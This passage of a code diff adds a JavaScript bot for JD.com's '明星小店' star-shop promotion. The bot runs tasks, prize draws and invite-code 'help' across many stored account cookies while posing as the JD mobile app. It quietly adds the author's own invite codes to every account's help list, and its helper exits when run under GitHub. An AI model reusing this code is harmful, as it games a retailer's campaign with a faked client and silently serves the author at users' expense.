if($.xdzHelpCodeList.length > 1){ + // $.xdzHelpCodeList.push($.xdzHelpCodeList.shift()); + // } + // for (let i = 0; i < cookiesArr.length; i++) { + // $.cookie = cookiesArr[i]; + // $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + // $.helpCode = $.xdzHelpCodeList[i]; + // console.log(`${$.UserName},去助力${$.helpCode}`); + // await help(); + // await $.wait(2000); + // if($.xdzHelpCodeList[i+1]){ + // $.helpCode = $.xdzHelpCodeList[i+1]; + // console.log(`${$.UserName},去助力${$.helpCode}`); + // await help(); + // await $.wait(2000); + // }else{ + // $.helpCode = $.xdzHelpCodeList[0]; + // console.log(`${$.UserName},去助力${$.helpCode}`); + // await help(); + // await $.wait(2000); + // } + // } + // } + // console.log(`==================星店长任务执行完毕==================\n`); + console.log(`==================开始执行明星小店任务==================`); + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + } + $.inviteCodeList.push(...getRandomArrayElements($.authorCodeList, 5)); + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + let sar = Math.floor((Math.random() * uniqueIdList.length)); + $.uniqueId = uniqueIdList[sar].id; + for (let k = 0; k < $.inviteCodeList.length; k++) { + $.oneCode = $.inviteCodeList[k]; + console.log(`${$.UserName}去助力:${$.uniqueId} 活动,助力码:${$.oneCode}`); + await takePostRequest('help'); + await $.wait(2000); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function main() { + let sendMessage = ''; + uniqueIdList = getRandomArrayElements(uniqueIdList, uniqueIdList.length); + console.log(`现共查询到${uniqueIdList.length}个明星小店\n`); + for (let j = 0; j < uniqueIdList.length; j++) { + try{ + $.uniqueId = uniqueIdList[j].id; + $.helpCode = ''; + console.log(`开始第${j + 1}个明星小店,ID:${$.uniqueId},明星:${uniqueIdList[j].name}`); + await starShop(); + await $.wait(1000); + if (j === 0) { + console.log(`互助码:${$.helpCode}`); + $.inviteCodeList.push($.helpCode); + } + console.log(`\n`); + }catch (e) { + console.log(JSON.stringify(e.message)); + } + } + console.log(`=============${$.UserName }:星店长奖励汇总================`); + await $.wait(1000); + $.rewards = []; + await getReward(); + for (let i = 0; i < $.rewards.length; i++) { + if ($.rewards[i].prizeType === 1) { + console.log(`获得优惠券`); + } else if ($.rewards[i].prizeType === 6) { + console.log(`获得明星照片或者视频`); + } else if ($.rewards[i].prizeType === 5) { + if(!$.rewards[i].fillReceiverFlag){ + console.log(`获得实物:${$.rewards[i].prizeDesc || ''},未填写地址`); + sendMessage += `【京东账号${$.index}】${$.UserName },获得实物:${$.rewards[i].prizeDesc || '' }\n`; + }else{ + console.log(`获得实物:${$.rewards[i].prizeDesc || ''},已填写地址`); + } + } else if ($.rewards[i].prizeType === 10) { + console.log(`获得京豆`); + } else { + console.log(`获得其他:${$.rewards[i].prizeDesc || ''}`); + } + } + if(sendMessage){ + sendMessage += `填写收货地址路径:\n京东首页,搜索明星(蔡徐坤),进入明星小店,我的礼物,填写收货地址`; + await notify.sendNotify(`星店长`, sendMessage); + } +} + +async function xdz(){ + // $.xdzInfo = {}; + // await getXdzInfo(); + // if(JSON.stringify($.xdzInfo) === '{}'){ + // console.log(`获取活动数据为空`); + // return ; + // } + // $.xdzUseInfo = {}; + // await getXdzUseInfo(); + // if(JSON.stringify($.xdzUseInfo) === '{}'){ + // console.log(`获取用户数据为空`); + // return ; + // } + // let tasksList = $.xdzUseInfo.tasks; + // for (let i = 0; i < tasksList.length; i++) { + // $.oneTask = tasksList[i]; + // if($.oneTask.status !== 1){ + // continue; + // } + // if($.oneTask.taskType !== '22' && $.oneTask.taskType !== '6'){ + // console.log(`执行任务:${$.oneTask.taskName}`); + // let subItem = $.oneTask.subItem; + // for (let j = 0; j < subItem.length; j++) { + // $.subItemInfo = subItem[j]; + // if(!$.subItemInfo.itemToken && $.subItemInfo.status !==1 ){ + // continue; + // } + // await doXdzTask(); + // await $.wait(2000); + // } + // }else if($.oneTask.taskType === '6'){ + // if($.oneTask.subItem && $.oneTask.subItem.length>0 && $.oneTask.times === 0){ + // $.xdzHelpCodeList.push($.oneTask.subItem[0].itemToken); + // console.log(`助力码:${$.oneTask.subItem[0].itemToken}`); + // } + // } + // } + // let awardVoList = $.xdzInfo.awardVoList; + // for (let i = 0; i < awardVoList.length; i++) { + // $.oneAwardInfo = awardVoList[i]; + // if($.oneAwardInfo.status === 1 && $.oneAwardInfo.grade === 1){ + // console.log(`执行抽奖`); + // drawAward(); + // await $.wait(2000); + // } + // } + + console.log(`执行瓜分`); + await guafen(); + await $.wait(2000); +} +async function guafen(){ + let a = (new Date()).Format("yyyy-MM-ddThh:mm:ss.SZ"); + console.log(a); + const url = `https://api.m.jd.com/?body=%7B%22shopId%22:%22${$.shopId}%22,%22nowTime%22:%22${a}%22,%22token%22:%22${$.tokenId}%22%7D&appid=xdz&functionId=mcxhd_starmall_getRedPacketAward&t=${Date.now()}&loginWQBiz=`; + const method = `GET`; + const headers = { + 'Origin': `https://h5.m.jd.com`, + 'Cookie': $.cookie, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/3Vuj8Uw26NEDNRjaT2uspf2pphK/index.html`, + 'Content-Type':`application/x-www-form-urlencoded;charset=UTF-8`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `api.m.jd.com`, + }; + const myRequest = {url: url, method: method, headers: headers,}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + console.log(data); + data = JSON.parse(data); + if(data.retCode === '200'){ + console.log(`瓜分获得:${data.result.quota}`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +Date.prototype.Format = function (fmt) { //author: meizz + var o = { + "M+": this.getUTCMonth() + 1, //月份 + "d+": this.getUTCDate(), //日 + "h+": this.getUTCHours(), //小时 + "m+": this.getUTCMinutes(), //分 + "s+": this.getUTCSeconds(), //秒 + "q+": Math.floor((this.getUTCMonth() + 3) / 3), //季度 + "S": this.getUTCMilliseconds() //毫秒 + }; + if (/(y+)/.test(fmt)) + fmt = fmt.replace(RegExp.$1, (this.getUTCFullYear() + "").substr(4 - RegExp.$1.length)); + for (var k in o) + if (new RegExp("(" + k + ")").test(fmt)) + fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); + return fmt; +} +async function help(){ + const url = `https://api.m.jd.com/?body=%7B%22shopId%22:%22${$.shopId}%22,%22itemToken%22:%22${$.helpCode}%22,%22token%22:%22${$.tokenId}%22%7D&appid=xdz&functionId=mcxhd_starmall_doTask&t=${Date.now()}&loginWQBiz=`; + const method = `GET`; + const headers = { + 'Origin': `https://h5.m.jd.com`, + 'Cookie': $.cookie, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/3Vuj8Uw26NEDNRjaT2uspf2pphK/index.html`, + 'Content-Type':`application/x-www-form-urlencoded;charset=UTF-8`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `api.m.jd.com`, + }; + const myRequest = {url: url, method: method, headers: headers,}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + console.log(`助力结果`); + console.log(data); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +async function drawAward(){ + const url = `https://api.m.jd.com/?body=%7B%22shopId%22:%22${$.shopId}%22,%22token%22:%22${$.tokenId}%22%7D&appid=xdz&functionId=mcxhd_starmall_drawAward&t=${Date.now()}&loginWQBiz=`; + const method = `GET`; + const headers = { + 'Origin': `https://h5.m.jd.com`, + 'Cookie': $.cookie, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/3Vuj8Uw26NEDNRjaT2uspf2pphK/index.html`, + 'Content-Type':`application/x-www-form-urlencoded;charset=UTF-8`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `api.m.jd.com`, + }; + const myRequest = {url: url, method: method, headers: headers,}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + console.log(`抽奖结果`); + console.log(data); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function doXdzTask(){ + const url = `https://api.m.jd.com/?body=%7B%22shopId%22:%22${$.shopId}%22,%22itemToken%22:%22${$.subItemInfo.itemToken}%22,%22token%22:%22${$.tokenId}%22%7D&appid=xdz&functionId=mcxhd_starmall_doTask&t=${Date.now()}&loginWQBiz=`; + const method = `GET`; + const headers = { + 'Origin': `https://h5.m.jd.com`, + 'Cookie': $.cookie, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/3Vuj8Uw26NEDNRjaT2uspf2pphK/index.html`, + 'Content-Type':`application/x-www-form-urlencoded;charset=UTF-8`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `api.m.jd.com`, + }; + const myRequest = {url: url, method: method, headers: headers,}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.retCode === '200') { + console.log(`任务完成,获得星力值:${data.result.score}`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function getXdzUseInfo(){ + const url = `https://api.m.jd.com/?body=%7B%22shopId%22:%22${$.shopId}%22,%22token%22:%22${$.tokenId }%22%7D&appid=xdz&functionId=mcxhd_starmall_taskList&t=${Date.now()}&loginWQBiz=`; + const method = `GET`; + const headers = { + 'Origin': `https://h5.m.jd.com`, + 'Cookie': $.cookie, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/3Vuj8Uw26NEDNRjaT2uspf2pphK/index.html`, + 'Content-Type':`application/x-www-form-urlencoded;charset=UTF-8`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `api.m.jd.com`, + }; + const myRequest = {url: url, method: method, headers: headers,}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.retCode === '200') { + $.xdzUseInfo = data.result; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function getXdzInfo(){ + const url = `https://api.m.jd.com/?body=%7B%22shopId%22:%22${$.shopId}%22,%22token%22:%22${$.tokenId }%22%7D&appid=xdz&functionId=mcxhd_starmall_getStarShopPage&t=${Date.now()}&loginWQBiz=`; + const method = `GET`; + const headers = { + 'Origin': `https://h5.m.jd.com`, + 'Cookie': $.cookie, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/3Vuj8Uw26NEDNRjaT2uspf2pphK/index.html`, + 'Content-Type':`application/x-www-form-urlencoded;charset=UTF-8`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `api.m.jd.com`, + }; + const myRequest = {url: url, method: method, headers: headers,}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.retCode === '200') { + $.xdzInfo = data.result; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function getReward() { + const url = `https://api.m.jd.com/?functionId=activityStarBackGetRewardList&body={%22linkId%22:%22Y2aqxng42hZ0eGxGtbCMiQ%22}&_t=${Date.now()}&appid=activities_platform`; + const method = `GET`; + const headers = { + 'Origin': `https://prodev.m.jd.com`, + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Referer': `https://prodev.m.jd.com/mall/active/7s5TYVpp8dKXF4FrDqe55H8esSV/index.html`, + 'Host': `api.m.jd.com`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn` + }; + + const myRequest = {url: url, method: method, headers: headers,}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.code === 0) { + $.rewards = data.data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function starShop() { + $.info = {}; + await takePostRequest('activityStarBackGetProgressBarInfo'); + if (JSON.stringify($.info) === '{}') { + console.log(`获取活动失败,ID:${$.uniqueId}`); + } + let prize = $.info.prize; + let runFlag = false; + for (let i = 1; i < 5; i++) { + $.onePrize = prize[i]; + if ($.onePrize.state === 1) { + console.log(`去抽奖,奖品为:${$.onePrize.name}`); + await takePostRequest('activityStarBackDrawPrize'); + await $.wait(2000); + } else if ($.onePrize.state === 0) { + runFlag = true; + } + } + if (!runFlag) { + console.log(`该明星小店已完成所有抽奖`); + return; + } + $.taskList = []; + await takePostRequest('apTaskList'); + await $.wait(2000); + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if ($.oneTask.taskFinished) { + console.log(`任务:${$.oneTask.taskTitle},已完成`); + continue; + } + if ($.oneTask.taskType === 'SHARE_INVITE') { + continue; + } + console.log(`去做任务:${$.oneTask.taskTitle}`); + if ($.oneTask.taskType === 'SIGN') { + await takePostRequest('SIGN'); + await $.wait(2000); + } else if ($.oneTask.taskType === 'BROWSE_CHANNEL' || $.oneTask.taskType === 'FOLLOW_SHOP') { + $.taskDetail = {}; + $.taskItemList = []; + await takePostRequest('apTaskDetail'); + $.taskItemList = $.taskDetail.taskItemList || []; + for (let j = 0; j < $.taskItemList.length; j++) { + $.oneItemInfo = $.taskItemList[j]; + console.log(`浏览:${$.oneItemInfo.itemName}`); + await takePostRequest('apDoTask'); + await $.wait(2000); + } + + } + } +} + +async function takePostRequest(type) { + let body = ``; + let myRequest = ``; + switch (type) { + case 'activityStarBackGetProgressBarInfo': + body = `functionId=activityStarBackGetProgressBarInfo&body={"starId":"${$.uniqueId}","linkId":"Y2aqxng42hZ0eGxGtbCMiQ"}&_t=${Date.now()}&appid=activities_platform`; + myRequest = getPostRequest(body); + break; + case 'apTaskList': + body = `functionId=apTaskList&body={"uniqueId":"${$.uniqueId}","linkId":"Y2aqxng42hZ0eGxGtbCMiQ"}&_t=${Date.now()}&appid=activities_platform`; + myRequest = getPostRequest(body); + break; + case 'SIGN': + body = `functionId=apDoTask&body={"taskType":"${$.oneTask.taskType}","taskId":${$.oneTask.id},"uniqueId":"${$.uniqueId}","linkId":"Y2aqxng42hZ0eGxGtbCMiQ"}&_t=${Date.now()}&appid=activities_platform`; + myRequest = getPostRequest(body); + break; + case 'apTaskDetail': + body = `functionId=apTaskDetail&body={"taskType":"${$.oneTask.taskType}","taskId":${$.oneTask.id},"uniqueId":"${$.uniqueId}","channel":4,"linkId":"Y2aqxng42hZ0eGxGtbCMiQ"}&_t=${Date.now()}&appid=activities_platform`; + myRequest = getPostRequest(body); + break; + case 'apDoTask': + body = `functionId=apDoTask&body={"taskType":"${$.oneTask.taskType}","taskId":${$.oneTask.id},"uniqueId":"${$.uniqueId}","channel":4,"linkId":"Y2aqxng42hZ0eGxGtbCMiQ","itemId":"${encodeURIComponent($.oneItemInfo.itemId)}"}&_t=${Date.now()}&appid=activities_platform`; + myRequest = getPostRequest(body); + break; + case 'help': + body = `functionId=activityStarBackGetProgressBarInfo&body={"starId":"${$.uniqueId}","sharePin":"${$.oneCode}","taskId":"129","linkId":"Y2aqxng42hZ0eGxGtbCMiQ"}&_t=${Date.now()}&appid=activities_platform`; + myRequest = getPostRequest(body); + break; + case 'activityStarBackDrawPrize': + body = `functionId=activityStarBackDrawPrize&body={"starId":"${$.uniqueId}","poolId":${$.onePrize.id},"pos":${$.onePrize.pos},"linkId":"Y2aqxng42hZ0eGxGtbCMiQ"}&_t=${Date.now()}&appid=activities_platform`; + myRequest = getPostRequest(body); + break; + default: + console.log(`错误${type}`); + } + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + } catch (e) { + console.log(`返回异常:${data}`); + return; + } + switch (type) { + case 'activityStarBackGetProgressBarInfo': + if (data.code === 0) { + console.log(`${data.data.shareText}`); + $.helpCode = data.data.encryptPin; + $.info = data.data; + } + break; + case 'apTaskList': + if (data.code === 0) { + $.taskList = data.data; + } + break; + case 'SIGN': + if (data.code === 0) { + console.log('签到成功'); + } + break; + case 'apTaskDetail': + if (data.code === 0) { + $.taskDetail = data.data; + } + break; + case 'apDoTask': + if (data.code === 0) { + console.log('成功'); + } + break; + case 'help': + console.log('助力结果:' + JSON.stringify(data)); + break; + case 'activityStarBackDrawPrize': + if (data.code === 0) { + if(data.data.prizeType === 0){ + console.log(`未抽中`); + }else{ + console.log(`恭喜你、抽中了`); + } + } + console.log(JSON.stringify(data)); + break; + default: + console.log('异常'); + console.log(JSON.stringify(data)); + } +} + +function getPostRequest(body) { + const url = `https://api.m.jd.com/`; + const method = `POST`; + const headers = { + 'Accept': `application/json, text/plain, */*`, + 'Origin': `https://prodev.m.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': $.cookie, + 'Content-Type': `application/x-www-form-urlencoded`, + 'Host': `api.m.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://prodev.m.jd.com/mall/active/b68M1tZSjGrMYa64hMKsX5jRdWL/index.html`, + 'Accept-Language': `zh-cn` + }; + + return {url: url, method: method, headers: headers, body: body}; +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +/** + * 随机从一数组里面取 + * @param arr + * @param count + * @returns {Buffer} + */ +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else 